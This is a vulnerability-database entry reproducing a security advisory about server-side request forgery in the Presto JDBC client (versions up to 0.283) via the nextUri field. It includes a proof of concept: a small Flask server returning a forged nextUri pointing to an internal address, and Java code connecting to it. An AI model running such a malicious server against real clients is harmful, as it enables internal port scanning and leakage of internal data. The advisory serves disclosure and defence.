Read the docs
TI-2023-30816 Aliases GHSA-86q5-qcjc-7pv4

Presto JDBC Server-Side Request Forgery by nextUri

Priority LOW 38CWE-918Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
No fix listed

No CVSS vector from any source. Fix status from GitHub.

Summary

### Summary Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan. ### Details The Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF. For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user. The relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `advance` . The flowchart is as follows: <img src="https://s2.loli.net/2023/09/18/gvUZ2rT7w3Okbde.png" alt="presto_jdbc_ssrf_2.png" style="zoom:50%;" /> ### PoC Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code: ```python from flask import Flask, Response app = Flask(__name__) @app.route('/v1/statement', methods=['POST']) def next_uri_to_interal_server(): data = '{"id":"test_id","infoUri":"whatever","nextUri":"http://127.0.0.1:8888","stats":{"state":"QUEUED","queued":true,"scheduled":false,"nodes":0,"totalSplits":0,"queuedSplits":0,"runningSplits":0,"completedSplits":0,"cpuTimeMillis":0,"wallTimeMillis":0,"queuedTimeMillis":0,"elapsedTimeMillis":0,"processedRows":0,"processedBytes":0,"peakMemoryBytes":0,"peakTotalMemoryBytes":0,"peakTaskTotalMemoryBytes":0,"spilledBytes":0},"warnings":[]}' return Response(data, content_type='application/json; charset=utf-8', status=200) if __name__ == '__main__': app.run(host="0.0.0.0",port=8000) ``` Connecting to the malicious server using JDBC: ```java String url = "jdbc:presto://<ip>:<port>"; Properties properties = new Properties(); properties.setProperty("user", "root"); try { Connection connection = DriverManager.getConnection(url, properties); Statement stmt = connection.createStatement(); ResultSet res = stmt.executeQuery("show catalogs"); while(res.next()) { System.out.println(res.getString(1)); } } catch (Exception e) { e.printStackTrace(); } ``` Pwned! ### Impact When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance

Why it matters now

Fix No fix listed No fixed version in the sources yet

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—com.facebook.presto:presto-jdbc (Maven)up to 0.283—No fix listedGHSA-86q5-qcjc-7pv4
  • com.facebook.presto:presto-jdbc (Maven) Vendor— Affected up to 0.283 Fixed in — No fix listed GHSA-86q5-qcjc-7pv4

Remediation

No fixed version listed by the sources yet.

Timeline

  1. 2026-10-03 Threatist record created from GHSA-86q5-qcjc-7pv4

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences